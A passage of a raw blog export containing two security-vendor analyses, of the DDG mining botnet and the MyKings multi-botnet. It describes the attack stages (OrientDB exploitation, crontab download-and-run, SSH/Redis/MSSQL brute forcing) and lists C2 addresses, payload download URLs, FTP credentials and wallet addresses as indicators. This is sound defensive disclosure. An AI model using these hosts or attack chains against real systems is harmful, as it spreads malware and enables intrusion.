2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。"]]],[1,"p",[[0,[],0,"全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 "],[0,[0],1,"580万"],[0,[],0," 或者 "],[0,[0],1,"980万"],[0,[],0,"。注意：在第二个钱包付费记录中，\"Total Paid\"与逐笔交易累积得到的 \"Amount Summary\" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。"]]],[10,0],[1,"h4",[[0,[0],1,"DDG Mining Botnet 的攻击阶段和结构划分"]]],[1,"p",[[0,[],0,"通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下："]]],[10,1],[1,"p",[[0,[],0,"上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段："]]],[3,"ul",[[[0,[0],1,"扫描阶段"],[0,[],0,"：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；"]],[[0,[0],1,"第一阶段"],[0,[],0,"：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本"]],[[0,[0],1,"第二阶段"],[0,[],0,"：ddg 会依次连接内置 "],[0,[0],1,"hub_iplist.txt"],[0,[],0," 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。"]],[[0,[0],1,"挖矿阶段"],[0,[],0,"：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。"]]]],[1,"p",[[0,[],0,"上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 "],[0,[0],1,"HUB"],[0,[],0,"。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。"]]],[1,"p",[[0,[],0,"关于这个 "],[0,[0],1,"HUB"],[0,[],0," 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。"]]],[3,"ul",[[[0,[],0,"defaultnotepad567[.]com"]],[[0,[],0,"unains1748[.]com 未注册"]],[[0,[],0,"5dba35bsmrd[.]com 未注册"]]]],[1,"p",[[0,[],0,"下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 C2"]]],[1,"p",[[0,[],0,"DDG 僵尸网络使用如下 C2 保持对设备的长期控制："]]],[3,"ul",[[[0,[],0,"202.181.169.98:8443/i.sh"]],[[0,[],0,"218.248.40.228:8443/i.sh"]]]],[1,"p",[[0,[],0,"其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole"]]],[1,"p",[[0,[],0,"DDG 僵尸网络使用 "],[0,[0],1,"HUB_IP:8443\\wnTKYg"],[0,[],0," 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。"]]],[10,2],[1,"p",[[0,[],0,"如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。"]]],[1,"p",[[0,[],0,"这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？"]]],[1,"p",[[0,[],0,"我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 "],[0,[0],1,"看到 DDG 全部的被感染设备"],[0,[],0,"，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。"]]],[1,"p",[[0,[],0,"可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。"]]],[1,"p",[[0,[],0,"另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 Bot"]]],[1,"p",[[0,[],0,"我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。"]]],[1,"p",[[0,[],0,"我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)："]]],[10,3],[1,"p",[[0,[],0,"从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。"]]],[10,4],[1,"p",[[0,[],0,"受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。"]]],[10,5],[1,"h4",[[0,[0],1,"利用 DNSMon 感知这三个域名的异常访问"]]],[1,"p",[[0,[],0,"我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性："]]],[10,6],[10,7],[1,"h3",[[0,[0],1,"DDG Mining Botnet 攻击过程详细剖析"]]],[1,"h6",[[0,[],0,"扫描"]]],[1,"p",[[0,[],0,"DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 "],[0,[3],1,"CVE-2017-11467"],[0,[],0," 实施入侵。"]]],[1,"p",[[0,[],0,"ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下："]]],[3,"ul",[[[0,[],0,"10.Y.x.x/16 (Y 为当前内网 IP B 段的值)"]],[[0,[],0,"172.16.x.x/16"]],[[0,[],0,"192.168.x.x/16"]]]],[1,"p",[[0,[],0,"样本中生成内网 Target IP 的部分代码如下："]]],[10,8],[1,"p",[[0,[],0,"结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 "],[0,[0],1,"WAN_IP"],[0,[],0," ，然后在 "],[0,[4],1,"WAN_IP/8"],[0,[],0," 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段："]]],[10,9],[10,10],[1,"p",[[0,[],0,"样本利用漏洞最后执行的 Payload 如下："]]],[10,11],[1,"h6",[[0,[],0,"第一阶段"]]],[1,"p",[[0,[],0,"DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh"]]],[1,"p",[[0,[],0,"该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是："]]],[3,"ul",[[[0,[],0,"将本地 Crontab 内容与远程服务器上的 i.sh 保持同步"]],[[0,[],0,"从远程服务器下载 ddg 样本到本地并执行"]],[[0,[],0,"检查本地的 ddg 的历史版本进程，并杀掉"]]]],[10,12],[1,"p",[[0,[],0,"由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括："]]],[3,"ul",[[[0,[0],1,"DDG 样本"],[0,[],0,"：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本"]],[[0,[0],1,"ss22522"],[0,[],0," 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052"]],[[0,[0],1,"ss2480"],[0,[],0," 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己"]]]],[1,"p",[[0,[],0,"另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。"]]],[1,"p",[[0,[],0,"2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 "],[0,[0],1,"imWBR1"],[0,[],0,"，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :"]]],[10,13],[1,"h6",[[0,[],0,"第二阶段"]]],[1,"p",[[0,[],0,"ddg 样本中内置了一个 "],[0,[0],1,"hub_iplist.txt"],[0,[],0," 文件，其中包含了上百个 "],[0,[4],1,"hub_ip:8443"],[0,[],0," 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。"]]],[1,"p",[[0,[],0,"在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 "],[0,[4],1,"http://<hub_ip>:8443/wnTKYg"],[0,[],0," 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 "],[0,[0],1,"AES-NI"],[0,[],0,"，还会下载 "],[0,[0],1,"wnTKYg.noaes"],[0,[],0,"）。ddg 尝试连接 hub_ip 的过程抓包如下： "]]],[10,14],[10,15],[1,"p",[[0,[],0,"所以在 ddg 从 hub_ip 下载 Miner 并启动后的 "],[0,[5],1,"KeepAlive"],[0,[],0," 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包："]]],[10,16],[1,"h3",[[0,[0],1,"样本中内置的 hub_iplist.txt"]]],[1,"p",[[0,[],0,"i.sh 文件中的 ddg 样本下载 URL 是 "],[0,[4],1,"hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)"],[0,[],0,"。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。"]]],[1,"p",[[0,[],0,"2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 "],[0,[4],1,"hxxp://218.248.40.228:8443/2020/ddg.$(uname -m)"],[0,[],0," 。我们排查后发现是 ddg 内置的"],[1,[],0,0],[0,[],0,"hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。"]]],[1,"h3",[[0,[0],1,"DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务"]]],[1,"p",[[0,[],0,"以上分析中，DDG 的攻击目标集中在 OrientDB 上。"]]],[1,"p",[[0,[],0,"事实上，ddg 木马中的 "],[0,[4],1,"ddg.$(uname -m)"],[0,[],0," 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示："]]],[10,17],[10,18],[1,"p",[[0,[],0,"样本中还有内置的 3 个 x509 证书 / 密钥文件如下："]]],[3,"ul",[[[0,[],0,"slave.pem"]],[[0,[],0,"ca.pem"]],[[0,[],0,"slave.key"]]]],[1,"p",[[0,[],0,"详细内容见文末 IoC 部分。"]]],[1,"p",[[0,[],0,"回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。"]]],[1,"p",[[0,[],0,"按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务："]]],[10,19],[1,"h3",[[0,[0],1,"近况"]]],[1,"p",[[0,[],0,"北京时间 2018.1.25 日 21 点左右，"],[0,[4],1,"hxxp://218.248.40.228:8443/2011/ddg.x86_64"],[0,[],0," 的样本更新，MD5 为 "],[0,[0],1,"cbc4ba55c5ac0a12150f70585af396dc"],[0,[],0,"，是一个 Mirai 家族的样本。"]]],[1,"p",[[0,[],0,"Mirai C2 为 "],[0,[4],1,"linuxuclib.com:8080"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"另外一个硬编码明文 C2 "],[0,[4],1,"jbeupq84v7.2y.net"],[0,[],0," 目前在在DNS系统中没有配置解析IP地址。"]]],[1,"h3",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"C2:"]]],[10,20],[1,"p",[[0,[],0,"样本 MD5:"]]],[10,21],[1,"p",[[0,[],0,"样本下载链接："]]],[10,22],[1,"p",[[0,[],0,"ip_hublist(v2011): "],[0,[6],1,"ip_hublist__2011.txt"]]],[1,"p",[[0,[],0,"ip_hublist(v2020~v2021): "],[0,[7],1,"ip_hublist__2020.txt"]]],[1,"p",[[0,[],0,"三个 x509 证书/密钥文件："]]],[1,"p",[[0,[],0,"slave.pem"]]],[10,23],[1,"p",[[0,[],0,"ca.pem"]]],[10,24],[1,"p",[[0,[],0,"slave.key"]]],[10,25]],"ghostVersion":"3.0"} | 60961c563819e50007633d63 |
post | null | 2021-05-08T05:07:22.000Z | 63873b9a8b1c1e0007f52fcf | mykings-yi-ge-da-gui-mo-duo-zhong-jiang-shi-wang-luo | 0 | 2021-05-08T05:08:14.000Z | public | published | null | 2018-01-29T05:07:00.000Z | MyKings: 一个大规模多重僵尸网络 | <p>【更新记录】</p><pre><code>2018-01-24 原始文档首次公开，原先基于新浪blog的所有上联通道均已切断
2018-01-29 12:00 MyKings的上联通道开始使用新的blog url http://test886.hatenablog.com/entry/2018/01/26/002449，我们通过 https://twitter.com/360Netlab 发布了这一消息
2018-01-29 15:00 我们注意到上述 BLOG URL 已经被封
2018-01-29 05:00 https://twitter.com/ninoseki 告知，上述被封动作是 hantena 博客安全团队处理的。
</code></pre><p>以下是原始文章</p><p>作者 netlab.360.com</p><p>MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。我们将其命名为 MyKings，原因之一来自该僵尸网络的一个主控域名 *.mykings[.]pw。</p><p>MyKings 并不是一个新的僵尸网络，在我们之前有若干对该僵尸网络组件的分析（详见 <友商披露情况> 一节），但在本次批露之前，各家分析都没有形成完整的拼图，也未见有效行动遏制该僵尸网络的扩散。</p><p>2017 年 5 月 23 日，我们第一次联系到新浪安全团队，并随后采取了多轮联合行动。新浪安全团队关闭了 MyKings 的上联 URL，并向我们提供了相关的访问日志。联合行动有效遏制了该僵尸网络的扩散，也希望能为后续其他联合行动扫清障碍。被关闭的这些上联 URL 如下：</p><pre><code>hxxp://blog.sina.com.cn/s/blog_16****tv.html --> new, blog post title: down
hxxp://blog.sina.com.cn/s/blog_16****s0.html --> new, blog post title: xmrok
hxxp://blog.sina.com.cn/s/blog_16****rz.html --> new, blog post title: xmr64
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</code></pre><p>Mykings 本身模块化，构成很复杂, 本 Blog 是个概述，具体技术分析的内容见文末的 2 份 PDF 文档。</p><h3 id="mykings-"><strong>MyKings 的感染范围和流行程度</strong></h3><p>统计 2017 年 5 月底前述被关闭的上联 URL 的访问来源 IP 数可知，独立来源 IP 总数 1,183,911 个，分布在遍布全球 198 个国家和地区。其中来源 IP 超过 100,000 的国家和地区有四个，分别是俄罗斯、印度、巴西和中国。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/botnet.0-infection-geo-distribute.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/7---infection-stat-by-sec.sina.com.cn.png" class="kg-image" alt loading="lazy"></figure><p>另外，在域名流行程度方面，最为流行的域名是 up.f4321y.com ：</p><ul><li>该域名DNS被请求频率超过 2.5m/每日</li><li>该域名流行程度排行，历史最高 79753 名，目前稳定在8万～9万之间。</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/botnet_c2_trend.png" class="kg-image" alt loading="lazy"></figure><h3 id="mykings--1"><strong>MyKings的组成</strong></h3><p>MyKings 是一组多个子僵尸网络的混合体，其简要结构如下图所示。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/09/8---botnet---struct-2.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/botnets.png" class="kg-image" alt loading="lazy"></figure><p>如上两图：</p><ul><li>攻击者使用 Scanner(msinfo.exe) 扫描渗透进入受害者主机后，会自动尝试下载恶意代码。下载 URL 中的IP 部分被编码在受控的 Blog 页面中；</li><li>Blog 页面中编码的 IP 地址是指向 Dropper(ups.rar) 的，这个配置项可以由攻击者在云端动态调整；部分 Blog 页面已经被前述联合行动关闭；</li><li>Dropper 服务器上提供了恶意代码和对应的启动脚本的下载，这些内容同样可以由攻击者在云端动态调整；</li><li>我们观察到所下载的恶意代码有 Mirai, Proxy，RAT 和 Miner。</li></ul><p>明确上述结构以后，使得我们可以将整个 MyKings 划分为多个子僵尸网络，并逐一标记各子僵尸网络的特征如下表：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/09/9---botnet---feature.png" class="kg-image" alt loading="lazy"></figure><p>各子僵尸网络相互之间的构建关系如下表所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/09/10---botnet---relation---table.png" class="kg-image" alt loading="lazy"></figure><p>从上述两个表中我们可以得出以下结论：</p><ul><li>botnet.-1/1/2/3/4 各自拥有独立的上联控制端，仅在构建过程中需要 botnet.0 支撑，构建完成后的运营阶段可以各自独立、不再相互依赖；</li><li>botnet.0 支撑了多数其他子僵尸网络的构建过程。再考虑到我们在 botnet.0 的所有代码中没有看到其他任何恶意行为，我们倾向认为 <strong>botnet.0 是一个专注做恶意代码推广的网络</strong> 。</li><li>botnet.1.proxy 的推广者不是 botnet.0，而是 botnet.-1，这是个例外。不过，上述推广行为仅在早期持续了很少一段时间，主要的恶意代码推广仍然由 botnet.0 完成。</li></ul><h3 id="mykings-botnet-0-spreader"><strong>MyKings.botnet.0.spreader</strong></h3><p>botnet.0 是居于核心地位的一个僵尸网络，除了传播其他僵尸网络以外，该僵尸网络并没有其他恶意行为，聚焦在扫描资源建设和建立后续其他僵尸网络上。该僵尸网络有以下特点：</p><ul><li>服务器基础设施规模庞大</li><li>积极改进感染代码和能力</li><li>向后继僵尸网络的投入提供了定义良好的编程接口</li></ul><h4 id="botnet-0-"><strong>botnet.0 的基础设施能力</strong></h4><p>botnet.0 拥有在几个小时动员 2400 个主机IP地址发起扫描的能力。如果我们假定每个主机 IP 地址需要 30<br>元人民币（5美元），这就意味着botnet.0一次性投入了超过7万元人民币（12,000美元）。</p><p>基于如此强大的服务器基础设施，当前 botnet.0 贡献了整个互联网范围内 1433 端口扫描的主要部分。而全部 1433 端口上的扫描，根据我们的 scanmon系统(scan.netlab.360.com)显示的数据，高峰时期在 30~40m/d，目前稳定在 1.5m/d，与 23 端口（Mirai / Hajime）在伯仲之间。</p><p>前面提到一次性动员的 2400+ 个主机IP地址包括：</p><ul><li>123.207.0.0/16 1150个</li><li>122.114.0.0/16 1255个</li></ul><p>我们检测到上述主机集中发起扫描的时间在 2017.04.25 08:00:00 附近，当时在 scan.netlab.360.com 上能看到的 1433 端口的扫描情况如下。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/2---First-Scan-Spike.png" class="kg-image" alt loading="lazy"></figure><p>可以观察到当天上午8：00开始，1433端口上的扫描有了一个巨大的暴增。暴增前每日扫描事件约为5m/d，之后突增到30～40m/d。</p><p>观察这些活跃IP在C类段（/24）中的排名，前100的C类段中有99个来自前述两个B类段。考虑到这些IP地址段行为规律一致、时间窗口集中，我们将这些IP地址归入 MyKings 的资源池。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/3---First-Scan-Spike---Scanner-Source.png" class="kg-image" alt loading="lazy"></figure><h4 id="botnet-0--1"><strong>botnet.0 的扫描和渗透能力</strong></h4><p>botnet.0 的扫描行为是由于其 msinfo.exe 进程发起的。该进程会拉取云端的 wpd.dat 配置文件，配合云端机制发起扫描，并且随着版本更迭不断改进自身扫描能力。</p><ul><li>扫描的端口和服务如下：1433 MSSQL3306 MySQL135 WMI22 SSH445 IPC23 Telnet, mirai 僵尸网络80 Web, CCTV设备3389 RDP, Windows远程桌面</li><li>扫描目标IP地址：生成机制越来越复杂早期版本中， msinfo.exe 用来扫描的目标 IP 只有两种：从云端配置文件 <strong>wpd.dat</strong> 获取、在本地根据外网出口 IP 随机生成；最新样本中，增加了一种更复杂的本地随机生成算法，并且会避开一批保留地址段。</li><li>扫描方式：不断演化，直至集成 Masscan早期版本中，支持 <strong>TCP Connect</strong> 和 <strong>TCP SYN</strong> 两种扫描方式，分别对应木马中实现的两个扫描模块；早期版本的 msinfo.exe 中，两种扫描方式都是自己编写的，其中 <strong>TCP Connect</strong> 模块用到了The Ultimate TCP/IP 函数库中的 CUT_WSClient 类，而 <strong>TCP SYN</strong> 扫描模块则用到了 RAW Socket 相关的 DLL 文件并自己手动构造数据包；最新样本中，在 <strong>TCP SYN</strong> 模块集成了知名全网端口扫描器 <strong>Masscan</strong> ，并且把目标 IP 配置成 <code>0.0.0.0/0</code> ，发起对全网的高速扫描。</li><li>扫描载荷弱口令字典比较丰富，近百条是针对 Telnet 和 MSSQL Server；获得服务权限后，进行进一步攻击入侵的 Palyload 也很强大，其中针对 MSSQL Server 进行注入利用的 SQL 语句格式化后有近千行。</li></ul><h4 id="botnet-0--2"><strong>botnet.0 提供的后继僵尸网络接入界面</strong></h4><p>botnet.0 向后继僵尸网络提供的接入界面简明清晰，以至于从后继其他僵尸网络的角度来看，只需要按照接入界面要求配置安装包下载地址，以及安装包被下载后需要执行的脚本，安装包就会被下载执行。至于扫描和投入阶段的各种技术细节，可以交由 botnet.0 处理，自己完全不用关注。</p><p>上述接入界面包括：</p><ul><li>灵活的云端配置文件：botnet.0.spreader 的核心木马 msinfo.exe 用到的云端配置文件 <strong>wpd.dat</strong> ，是一个加密的 XML 文档，其中指定了暴破 Telnet 成功后用到来下载 Mirai 样本的 C2 地址、需要扫描的网络服务端口、暴破各个端口所需的口令、入侵各个网络服务时执行的部分命令以及需要扫描的目标 IP 范围等配置。这些配置都可以根据后继僵尸网络的要求灵活更改。</li><li>模块化编程架构的 msinfo.exe : 主要是其 Crack 模块中通过继承一个基类 <code>Task_Crack</code> ，实现其中定义好的一组连接、暴破、执行命令等功能的函数接口即可定义一个 <code>Task_Crack_XXX</code> 子类，继而实现针对一个新的网络服务的攻击模块。Crack 模块与 <strong>wpd.dat</strong> 配置文件中定义的待扫描网络服务端口相对应，可以灵活更改针对不同网络服务的 Crack 功能。</li><li>其他辅助云端配置文件：msinfo.exe 与 botnet.0.spreader 用到的另外一个辅助木马 <strong>ups.exe</strong> ，会涉及其它云端配置文件，如 update.txt、ver.txt、my1.html、test.html、kill.html、clr.txt 等。这些也都可以灵活配置，方便攻击者控制在下一阶段需要下载什么样本、执行什么样的命令。</li></ul><h3 id="-"><strong>被推广的其他子僵尸网络</strong></h3><p>botnet.0 推广的其他僵尸网络包括：</p><ul><li>botnet.-1.mirai</li><li>botnet.1.proxy</li><li>botnet.2.rat</li><li>botnet.3.miner</li><li>botnet.4.rat</li></ul><p>我们使用序号来标记首次发现的顺序、后缀标识给子僵尸网络的用途。</p><h4 id="botnet-1-mirai"><strong>botnet.-1.mirai</strong></h4><p>cnc.f321y.com (123.51.208.155:23) 是一个 mirai 僵尸网络，它与 MyKings 的同源关系在卡巴斯基的早期文章中已经论证。</p><p>我们追溯到该C2发出的第一条攻击指令，是在2016-12-20发出的。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/4---botnet.-1-mirai-first-attack-command.png" class="kg-image" alt loading="lazy"></figure><ul><li>2016-12-20 20:36 123.51.208.155:23|http_flood|118.193.139.184:54321</li></ul><p>值得一提的是指令中受害者IP地址118.193.139.184 上，曾经有若干 C2 域名同属 MyKings 控制：</p><ul><li>2016-04-01 15:55:56 2016-12-27 19:14:42 pc.kill1234.com 118.193.139.184</li><li>2016-04-24 13:07:50 2016-12-27 19:02:22 xq.kill1234.com 118.193.139.184</li></ul><h4 id="botnet-1-proxy"><strong>botnet.1.proxy</strong></h4><p>botnet.1.proxy 是一个代理网络。这个网络不是由botnet.0.spreader直接创建，而是通过 botnet.-1.mirai 间接建立的。我们观察到以上建立过程发生在 2017.05.05-2017.05.17 之间</p><p>这个建立关系可以从以下样本之间的关系示意： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/5---botnet.1.proxy-establishment.png" class="kg-image" alt loading="lazy"></figure><ul><li>botnet.0.spreader 在投递一组特殊的 mirai 样本，建立botnet.-1.mirai</li><li>botnet.-1.mirai 除了运行mirai自身的行为，还会下载得到 do.arm 系列样本</li><li>do.arm 系列样本运行起来以后，会在本机建立socks proxy，并将所生成的随机密码发回给 211.23.167.180:9999</li><li>至此，以 211.23.167.180:9999 为核心的 botnet.2.proxy 就建立起来了。</li></ul><p>为了确认上述proxy 网络会被利用，我们模拟了一个 bot 向 botnet.2.proxy C2 提供了一个密码。之后，botnet.2.proxy 向我们模拟的 bot 发出测试请求，要求利用 proxy 获取www.baidu.com 网页。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/08/6---botnet.1.proxy-under-test-1.png" class="kg-image" alt loading="lazy"></figure><p>图中显示，botnet.2.proxy 执行的动作包括：</p><ul><li>提供了用户名： 固定为admin</li><li>提供了口令：???????? 。这个口令是我们之前随机生成、并提供给 botnet.2.proxy 的。这里口令做了掩码处理，以减少我们工作IP的暴露风险</li><li>要求访问 <a href="http://www.baidu.com/">http://www.baidu.com</a></li><li>在得到了回应的页面后， botnet.2.proxy 沉寂不再与我们控制的bot联系。</li></ul><h4 id="botnet-2-rat-rat-"><strong>botnet.2.rat 一个RAT僵尸网络</strong></h4><p>botnet.2.rat 在 Cyphort 的文档中已经批露，概要信息如下：</p><ul><li>是由 botnet.0.spreader 直接建立的</li><li>投递样本 sha256sum: e6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b</li><li>样本中包含C2 <code>pc.5b6b7b.info</code></li></ul><p>上述情况与我们的观察一致。</p><h4 id="botnet-3-miner-"><strong>botnet.3.miner 一个挖矿网络</strong></h4><p>我们观察到的botbet.3.miner 的特征包括：</p><ul><li>MinerPool：pool.minexmr.com:5555</li><li>WalletID：47Tscy1QuJn1fxHiBRjWFtgHmvqkW71YZCQL33LeunfH4rsGEHx5UGTPdfXNJtMMATMz8bmaykGVuDFGWP3KyufBSdzxBb2 --> Total Paid: <strong>2000+ xmr</strong>45bbP2muiJHD8Fd5tZyPAfC2RsajyEcsRVVMZ7Tm5qJjdTMprexz6yQ5DVQ1BbmjkMYm9nMid2QSbiGLvvfau7At5V18FzQ --> Total Paid: <strong>6000+ xmr</strong></li><li>MinerPoolPass：x</li></ul><p>在火绒实验室的文档里提及了挖矿僵尸网络，但是未给出特征细节，无法判定是否 botnet.0 仅推广了一个挖矿网络。</p><h4 id="botnet-4-rat-rat-"><strong>botnet.4.rat 另一个RAT僵尸网络</strong></h4><p>botnet.4.rat 没有被其他安全厂商批露过。概要信息如下：</p><ul><li>下载链接：<a href="http://104.37.245.82:8888/nb.dat">http://104.37.245.82:8888/nb.dat</a></li><li>样本中包含C2 <code>nb.ruisgood.ru</code></li></ul><h3 id="--1"><strong>近况</strong></h3><p>2018.1.17 开始，针对 1433 端口的扫描流量有明显的下降趋势，从我们对此 Botnet 的跟踪来看，此前支撑该 Botnet 的主要 C2 之一 <strong>67.229.144.218</strong> 停止服务。随后，2018.1.23 凌晨我们发现一个新的 C2 IP 上线： <strong>67.229.99.82</strong>。</p><p>另外，我们发现该团伙还在陆续更新 Botnet 后面其他的基础设施</p><ul><li>新的样本下载 FTP 服务器 <code>ftp://ftp.ftp0118.info/</code>，口令 test:1433 ；</li><li>新的样本&云端配置文件服务器 <code>down.down0116.info</code>；</li><li>新的新浪博客账号以及 3 篇新的新浪博客 Post。</li></ul><p>在 2018.1.17~2018.1.21 这段时间，针对 1433 端口的扫描流量有一个明显的波谷，我们怀疑这与该团伙的基础设施变动有直接关系：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/dport1433_2018.png" class="kg-image" alt loading="lazy"></figure><h3 id="--2"><strong>友商披露情况</strong></h3><p>已经有多家友商披露了 MyKings 的部分内容，按照我们观察到的报告时间顺序分别是</p><ul><li>GReAt, Kaspersky, <a href="https://securelist.com/newish-mirai-spreader-poses-new-risks/77621/">New(ish) Mirai Spreader Poses New Risks</a>, 2017.02</li><li>Cyphort, <a href="https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/">EternalBlue Exploit Actively Used to Deliver Remote Access 